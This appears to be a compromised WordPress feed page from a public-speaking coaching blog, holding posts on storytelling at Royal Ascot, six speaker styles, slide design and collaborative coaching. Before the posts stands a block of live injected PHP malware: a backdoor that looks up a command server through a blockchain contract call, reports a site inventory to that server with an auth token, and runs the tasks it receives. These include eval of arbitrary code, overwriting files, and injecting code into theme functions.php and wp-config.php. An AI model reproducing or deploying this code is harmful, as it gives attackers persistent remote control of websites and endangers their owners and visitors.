// ca_lr if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/home3/smallbu1/public_html/nowyouretalkingco/wp-content/plugins/wp-helper-7fac97/wp-helper-7fac97.php', 'ctrl'=>'// ca_lr', 'vis'=>'// 1w_us', 'vis_func'=>'wp_p21iog', 'vis_paths'=>array('/home3/smallbu1/public_html/nowyouretalkingco/wp-content/plugins/wp-helper-7fac97/wp-helper-7fac97.php'), 'opt'=>'_wp_w68ayt7h', ); $keys=array(); $keys['id']='d2h'; $keys['ver']='5l'; $keys['caps']='y6c'; $keys['tasks']='un4'; $keys['interval']='nlg'; $keys['ack_id']='bw6'; $keys['ok']='tm'; $keys['detail']='lrx'; $keys['inv']='4xr'; $keys['result']='dod'; $hdr='X-CEW-Auth';$tok='mxSjtC1Gx-gwJdQ8jEV0Fr2yARcSVNaUTzz0ctHrrbw';$id='49664b12c7274141';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Coaching Archives - Now you're talking https://www.nowyouretalking.co.uk/category/coaching/ Public speaking Tue, 25 Jun 2024 20:36:10 +0000 en-GB hourly 1 https://wordpress.org/?v=7.1 Storytelling is always there for you https://www.nowyouretalking.co.uk/2024/06/25/storytelling-is-always-there-for-you/ Tue, 25 Jun 2024 17:19:34 +0000 https://www.nowyouretalking.co.uk/?p=1605 Storytelling is always there for you and essential to standout speaking that is engaging, memorable and makes a difference. People often tell me that storytelling isn’t for them because they don’t have any stories to tell. And that simply isn’t…

The post Storytelling is always there for you appeared first on Now you're talking.

]]> Storytelling is always there for you and essential to standout speaking that is engaging, memorable and makes a difference.

People often tell me that storytelling isn’t for them because they don’t have any stories to tell. And that simply isn’t true. Our stories are everywhere, all around us. We just need to spot their relevance.

On Friday, I went to the races. A delightful day at Royal Ascot, horses, fascinators and friends.

Royal Ascot race course

I’m a big believer that betting a small amount of money on every race spices up the experience. But I don’t know much about the world of horse racing.

I can probably name the odd trainer or jockey. I can name some past winners. But I’m certainly no pundit. So, how do I choose which horses to back? Trainers and jockeys might feature. Colour of a jockey’s hat might feature. But mostly it’s the stories the horses’ names conjure up in my mind.

Here’s a canter through some of the storytelling behind the horses I backed that day at the races.

Opera Singer

I do enjoy going to the opera from time to time. But opera particularly reminds me of my mum. Her favourite was Puccini’s La Boheme. I can tell many stories about travelling around the world and going to this opera in her memory.

It came second. Sadly, I’d only backed it to win. Worse was yet to come. In the next race, Soprano appeared on the race card. I ignored it after the poor performance of Opera Singer. Shame on me. Stick to your guns I told myself as Soprano led the field across the finishing line.

Theory of Tides

I’ve been doing a Life Writing course with Faber & Faber and am currently reading a book called ‘The Tidal Year’ by Freya Bromley. A match made in heaven I thought. Apparently not. Nonetheless, I’m loving the book and now I have new material for my storytelling treasure trove that connects a writing course with a day at the races. I can certainly see how an immersive experience like Ascot could show up in a story one day.

Gushing Gold

Drawn by its enriching alliterative name, I almost won over £300!

Language matters and is dear to my heart so its importance will always feature in how I craft a story

Hard to Resist

I’d like to say that’s me, but I would never presume. I can get very passionate about things and perhaps find them hard to resist; just like the name of this horse.

While the irresistible isn’t always a winner, I can’t say I have any lasting regrets and they all certainly add to life’s rich tapestry and make us who we are.

Flight of Fancy

A good place to start when we’re building our storytelling treasure trove. Our imaginations might go a bit too far, but they help us get started and produce material we can later edit to make the point we need to make in a talk or presentation.

Matters Most

What matters most to you? Always a great source of stories you can share in your speeches. You can use it to demonstrate your values, explore obstacles that can get in our way, perhaps even determine the subject of your next TEDxTalk 😊.

In the same race, No Half Measures came third. Oops, I’ve always thrown myself heart and soul into whatever I do. Should have listened more carefully to the voice in my head going ‘That’s you, Lyn!’

Inisherin

I completely blew it. I kept mentioning what a fabulous film The Banshees of Inisherin was and then failed to put my money where my mouth was. It romped home!

If something gives you a good feeling, back your instincts.

Storytelling makes a difference

I can’t say that a story that goes with the name of a horse guarantees success – though I’d have won more if I’d stuck more closely to my stories.

But I can say that your real stories are at the heart of an engaging and memorable talk or presentation for your audience and for you as the speaker.

A day at the races and other life experiences offer many a relevant story to stash in your storytelling treasure trove and use to illustrate your point next time you’re in front of an audience.

The post Storytelling is always there for you appeared first on Now you're talking.

]]> What’s your speaker style? https://www.nowyouretalking.co.uk/2023/08/20/whats-your-speaker-style/ Sun, 20 Aug 2023 11:41:56 +0000 https://www.nowyouretalking.co.uk/?p=1526 ‘Always be a first-rate version of yourself, instead of a second-rate version of somebody else’ Judy Garland Our speaker style impacts how we appear in front of an audience, how they perceive us, their ability to connect with us and, ultimately,…

The post What’s your speaker style? appeared first on Now you're talking.

]]>

‘Always be a first-rate version of yourself, instead of a second-rate version of somebody else’

Judy Garland

Our speaker style impacts how we appear in front of an audience, how they perceive us, their ability to connect with us and, ultimately, how they value our talks and presentations. Ideally, our core values and beliefs will remain in place, irrespective of occasion, but specific speaking situations determine the style we choose to adopt, both in terms of the supporting evidence we provide and how we behave during that time.

I tend to think in terms of six styles – Showcaser, Enthuser, Entertainer, PowerPointer, FactGiver and Changemaker.

Lyn Roseaman giving a TEDxTalk at TEDxLewisham

For example, when you’re speaking to a technical audience, they are likely to value more data-driven content, while members of a TED audience will tend to prefer more experiential personal stories and emotive arguments. If you are presenting to your board of directors, a strong air of gravitas and robust arguments will be appropriate, compared with, say, the more entertaining tone of a special occasion speech.

Some styles are more about information and evidence, while others draw more heavily on storytelling and emotional connections. Either way, giving your audience something of value is what should drive your style selection. These styles are not absolute. They are fluid, so you can easily introduce storytelling and emotive material to a data-driven presentation, and add more facts and figures to an experiential piece.

The following styles are designed to indicate ways of presenting that might be appropriate in different speaking situations, with suggestions for optimising their effectiveness. They are about adapting what you’re doing and how you’re doing it, not about changing your authentic self.

The Showcaser speaker style

The Showcaser style aims to challenge an audience’s thinking and make an impression by sharing the speaker’s successes and achievements. If the speaker can do it, so can you – and they’re going to show you how.

As presenters, they tend to be professional, charismatic, confident, well-prepared and engaging. This style may be useful in a sales scenario and might well be adopted by motivational speakers.

However, there is a fine line between delivering value for your listeners, and coming across as a staged, perhaps inauthentic, performance, with a feeling that the audience promise may not be all it claims. If you feel a Showcaser style becoming too ‘staged’, try shifting your focus more towards the Changemaker style, developing a more altruistic and philanthropic angle to increase the value you give. Ensure your stories are audience focused and deliver a clear and relevant message.

The Enthuser style

An enthusiastic and passionate speaker style with so much to share.

Enthusiastic, effusive, authentically and emotionally open to sharing their experiences, this style can be highly desirable in entertaining contexts, such as celebrations, including weddings, civil partnerships, anniversaries, toasts and tributes.

While this style often belies a laudable intention, coming from a desire to share, the enthusiasm can hijack the content of the speech, overlooking a clear message and easy-to-follow structure. This can come across as out of control, as if everything you know on the topic or person is pouring or gushing out of you at high speed.

Effusiveness can be a result of inexperience and/or a lack of audience focus. It’s crucial to be clear on the message for your listeners and to focus on stripping back the amount of content.

The Entertainer

An easy-going and relaxed speaking style, with a sense of fun and humour.

Confident, likeable, authentic and engaging, with strong storytelling skills make it ideal for after-dinner speeches, toasts, tributes, special occasions and celebrations. The ability to bring humour and entertain make a little of this style a useful addition to almost any speaking situation, including a eulogy.

Humour is an integral part of this speaking style, one that is natural and gentle emanating from your personal sense of humour rather than engineered for laughs. Your Entertainer style will probably contain a message, but it should be implicit in the stories and structure, rather than through an explicit call to action.

The PowerPointer style

The PowerPointer style leans heavily on slides as the key to sharing valuable information.

PowerPointer speaker style

Organised, informative, prepared and thorough, this style suits technical or specialist presentations and lectures designed primarily to inform and educate.

Unfortunately, this style often yields slides that are overly detailed and contain unfiltered information at the expense of a clear message. One sign is a reflex reaction to start producing slides almost as soon as you’re invited to speak. Too much detail can leave an audience feeling spoken at, rather than guided meaningfully through the information.

Speakers who depend on their slides as a crutch often feel a need for control, compared with those who introduce a few slides, videos or even props to enrich their message. If you give a lot of talks in this style, check the clarity of your message and associated content and reflect on whether fewer slides/less detail would bring greater value to your listeners.

The FactGiver speaker style

The FactGiver style has data at its core – a fount of all knowledge to inform almost any issue or situation. FactGivers are keen to share reliable and useful evidence, which they assemble conscientiously to offer what they think will be of value to their audience.

Speakers adopting this style seek to be genuinely informative, believing in the value of data and facts, which they share with commitment and enthusiasm, especially useful in company presentations, including project updates, results, board reports and other meetings where there is a need for gravitas and confidence.

The FactGiver style can give the impression that you and your data are one and the same, so that your data become your voice. This style usually sees an absence of (personal) storytelling and other means of emotional appeal and engagement.

As such, using this style, you are less likely to influence how an audience thinks, feels or acts as a result of hearing your speech. This can leave them feeling unsatisfied and hungry for something that goes a little deeper in terms of touching their emotions.

The Changemaker

The Changemaker speaker style focuses on understanding the audience, bringing people together and delivering value and/or change.

Presenters adopting this style tend to be confident, authentic, trustworthy, engaging, memorable, persuasive, inspirational and accomplished storytellers.

Lyn Roseaman giving a TEDxTalk at TEDxLewisham 2023

This style is effective in any situation where you need to persuade or inspire an audience. It’s often adopted in the political arena, motivational speaking, keynotes, job interviews, fundraising, sales and pitches.

It’s important to ensure your stories are firmly anchored to illustrating your message, rather than replacing it. If you find yourself linking a number of stories together without a clear message, your speech will probably be entertaining, but will leave your audience wondering what you want them to take away.

Speaking styles are fluid in terms of how much of each style you bring to your talk or presentation to best meet your audience’s needs. They are also necessarily fluid insofar as the fast pace of change can render the effectiveness of a particular style quite ephemeral. For instance, it wasn’t so long ago that storytelling was for children at bedtime; now it’s an essential part of so much speaking. Whether technology, knowledge of how we connect or the nature of desirable content, speakers need to stay current with what works best for their audiences.

The post What’s your speaker style? appeared first on Now you're talking.

]]> It’s you or the slides! https://www.nowyouretalking.co.uk/2023/01/26/its-you-or-the-slides/ Thu, 26 Jan 2023 12:00:33 +0000 https://www.nowyouretalking.co.uk/?p=1482 Are you the presenter or the slide operator because your audience won’t allow you to be both. It’s you or the slides Not a day goes past when I don’t shudder at the sight of PowerPoint slides created to enhance…

The post It’s you or the slides! appeared first on Now you're talking.

]]> Are you the presenter or the slide operator because your audience won’t allow you to be both. It’s you or the slides

Not a day goes past when I don’t shudder at the sight of PowerPoint slides created to enhance a presentation. ‘Death by PowerPoint’ isn’t a new phrase, yet most presenters, sadly, keep knocking out slides guaranteed to work against them, disengage their audience and create a whole load of unnecessary work.

Any of these sound familiar?

  • When we’re invited to speak or present, we start knocking out slides. It’s like being on autopilot – we have some data so let’s make a slide

 

  • As speakers, we’re generous and we want to share what we know, but it’s invariably more than an audience can take in when they hear it for the first time

 

  • Slides become a crutch to remind you what you want to say

Two things you need to know about slides

  • Audiences tend to read before they listen. If you put up a slide that takes more than a glance to absorb, then you’ve just made the slide deck the presenter. You are redundant!

 

  • Impactful slides SUPPORT, not replace, the speaker – they are not the pre-read or the leave-behind. They must bring your message to life, at a glance, and free you to talk about why it matters/the learning/action point

Less is always more. Today’s audiences have miniscule attention spans – some say less than a goldfish, ie seconds, not minutes. Slides undermine your presence and limit your ability to be responsive to your audience in the moment.

And hiding behind slides online is even worse as people stare at a screen with a tiny image of you in the corner somewhere.

It’s you, your stories and your clear message that keep audiences focused and attentive. It’s you or the slides!

Message first. Slides last – nine ways to make an impact

Message first – Start by being crystal clear on your message and the stories you need to share. Don’t slavishly make slides just because it’s on your questionnaire. Bring in the information you need to support your point

Purpose – Agree with your client what you’ll present and what you’ll provide as a leave-behind document. Don’t forget, different audiences have different needs and you need to produce relevant content for each. For instance, the board does not want the detail of the marketing team

Must-have info only – Only include slides that directly drive forward your message – support you and illuminate your message. You won’t need very many. Good for you in terms of preparation time. Good for the audience as they came to listen to you, not read a slide deck

Support, not replace – Be sure that each slide supports, not replaces, you. There is nothing worse than loads of bullet points that you’re going to read – audiences can read faster than you can speak!

Data don’t make an impact – Numbers and percentages aren’t particularly engaging, relatable or memorable, so keep them to a minimum. For example, poor mental health affects one in four people in any given year. That’s two of the people sitting at your table. Maybe more. Or Foetal Alcohol Syndrome affects 6% of the population – that’s two children in every class of 30

Use visuals – A picture really does speak a thousand words… at a glance. The acid test. A picture will convey information far more efficiently and quickly than you can with words. Find your relevant story and share a picture that encapsulates its essence

Big and bold – Channel Steve Jobs and use large fonts and few words. He famously put one word on a slide in 190-point size. Audiences can take in what’s on the slide at a glance and then have to listen attentively to find out more. Don’t overload your slides – less is always more

Builds help keep listeners with you – Use animations/builds so the audience only sees what you want them to see at the right moment. Putting all the information up at one go allows the audience to read ahead and ignore what you’re saying

Slides last – Write the slides last. You’ll be surprised by just how few you need and how much time you save!

Remember, it’s you or the slides.

Liberate yourself from endless, dull slides that regurgitate the findings of your questionnaire. Find your message and enter the sweet spot where you and your listeners are working together, almost co-creating your presentation. Only then can you give your audience what they came for – something new, relevant, engaging and memorable.

First published in Significant Insights

The post It’s you or the slides! appeared first on Now you're talking.

]]> Collaborative coaching unleashes the ‘F’ words https://www.nowyouretalking.co.uk/2022/11/03/collaborative-coaching/ Thu, 03 Nov 2022 16:41:36 +0000 https://www.nowyouretalking.co.uk/?p=1464 What is coaching? Short-term connection to impart specific learnings? If you’re really lucky, it might be a life-changing experience. As someone once said “Lyn has shown me that dreams really can come true.” However, this can only happen if the…

The post Collaborative coaching unleashes the ‘F’ words appeared first on Now you're talking.

]]> One-to-one Collaborative Coaching

What is coaching? Short-term connection to impart specific learnings? If you’re really lucky, it might be a life-changing experience. As someone once said “Lyn has shown me that dreams really can come true.” However, this can only happen if the coach and the person you’re coaching work together, unleashing the ‘F’ words, for mutual benefit. What I like to call collaborative coaching.

When I think about collaborative coaching, I think about unleashing my four favourite ‘F’ words!

Friendship

Cast your mind back to life before Covid. I was meeting a potential client in the British Library. She’d allowed 45 minutes for our meeting to see if she wanted to work with me on her public speaking. It didn’t start well.

Her train was delayed. My train was delayed. Her train was further delayed.

I got to the British Library. She was just arriving at Euston and there was a queue to get into the British Library.

So much for our 45 minutes! By the time we’d found each other, grabbed a cuppa and found somewhere to sit, we were down to 30 minutes.

We started talking about… politics. Risky, eh, on a first meeting? We talked about Brexit, the general election, Amazon’s tax status. We carried on. Homelessness. Mental health. We swapped personal stories and traded vulnerabilities.

Then she said “Lyn, I have a year of important speaking ahead and I want to raise my speaking game. What can you do for me? I talked about my approach. She talked about invoicing. And I thought, happily, I have a new client.

She told me that she’d arranged to meet me to see if she liked me. Somehow, our 30 minutes morphed into a couple of hours and we left the British Library like new best friends, excited about working together.

In my experience, effective collaboration begins with a desire to understand each other and build something mutually beneficial together.

Flexibility

Collaborative coaching can’t be a one-way street with the coach deciding what to deliver, based on predetermined goals and content. That’s a lecture. Content needs to be flexible and determined by the person being coached, combined with observations from the coach. So the coach needs to…

LISTEN carefully. What does the person you’re coaching say they want you to cover and does that align with what they actually need in order to reach their speaking goals?

WATCH carefully. What do they show you they’re already good at and what could they improve?

FEEL fully. How do they make you feel when you experience being with them? How do they connect and engage with you and how is that likely to translate into speaking with an audience?

With the stated needs and the observations, you’re in a position to agree coaching objectives and co-create relevant content that can evolve, flexibly, as the coaching progresses. The continuous interchange between the coach and the coachee always produces a unique experience that is fresh and stimulating for both parties, while ensuring ongoing evaluation of goals and content.

Fun

As you know, we learn better when we’re relaxed and having fun. As Churchill said:

“Personally I’m always ready to learn, although I do not always like being taught.”

I like to think that collaborative coaching would have given Churchill the joy of learning in a way that responded to his needs and preferred learning style.

When we’re happy and having fun, we unleash a cocktail of dopamine, endorphins and oxygen that help us learn.

Coaching that involves laughter, play and experimentation is far more likely to be productive and something we look forward to. It keeps piquing our curiosity and encouraging us to want more, while the act of learning itself is a pleasure and one we enjoy being part of.

However, fun is one of those words that means different things to different people, so again, it’s crucial to explore what qualifies as fun to both participants.

When I meet a potential client, I’m exploring the things that make them laugh, the characteristics of what they consider a fun experience. And, having spent a career in market research, it’s not just what they say that I’m absorbing, but also what they don’t say, their non-verbal behaviour and responses.

So, how do we bring fun to online platforms? I always start with the setting. Is everyone comfortable? Do they have something to drink and/or eat? Do they have relevant equipment, materials and resources to hand? If not, it’s worth taking a few minutes to be ready and settle. Connection and engagement are critical, so it can be useful to share a story or anecdote before moving forward.

Interaction is essential for energy and fun. Breakout rooms on Zoom and Teams are invaluable in bringing small groups together, allowing them to explore and develop ideas before sharing them back to the bigger group. And don’t overlook all the tech that enables people to interact online, including digital whiteboards, pinboards, polls, etc.

Introducing elements of gamification can also heighten the fun, including introduction of a theme, pressure and excitement of being against the clock, competition, rewards and recognition, progression (levels), gifting and sharing, teamwork, anarchy of turning something on its head and so on. Gaming and play in its broadest sense have so much to bring to coaching as a stimulating and co-created, collaborative experience between coach and coachee and among fellow coaching participants.

Feedback

Collaborative coaching needs a growth mindset. It requires openness and recognition that both parties have something to teach to, and something to learn from, each other.

Coaching sessions where everyone is giving and receiving feedback are exciting and stimulating. The key is to agree in advance the nature of the feedback. Feedback is most effective when the ground rules are clear and everyone knows their role. Examples might include:

  • Who is giving feedback on what? Agreeing this in advance means participants can focus on the task as it is happening and not have to rely on recall after the event.
  • When is it useful to give the feedback? For instance, will sharing your thoughts as you go along be more or less helpful than debriefing as a session wrap-up?
  • How do you want to offer/receive feedback? I am a fan of a ‘sandwich’ approach where suggestions for improvement and growth are sandwiched in between positive observations about things that are working well.

When feedback is a tool for learning from each other so that coaching can develop effectively, it’s a win-win experience for all concerned.

As the coach, feedback challenges and stimulates you to sharpen and evolve your skills and material when you’re co-creating with the person you’re coaching.

As the person being coached, you get that vital input you need to develop and meet your coaching goals.

At its best, it allows coaches to acknowledge that coaching outcomes are a result of working together, of co-creation. For coachees, that very process of co-creation may help them acknowledge the help they’ve received.

It’s a great joy to work with clients who value the ‘F’ words – friendship, flexibility, fun and feedback – for collaborative coaching that benefits all involved.

 

The post Collaborative coaching unleashes the ‘F’ words appeared first on Now you're talking.

]]>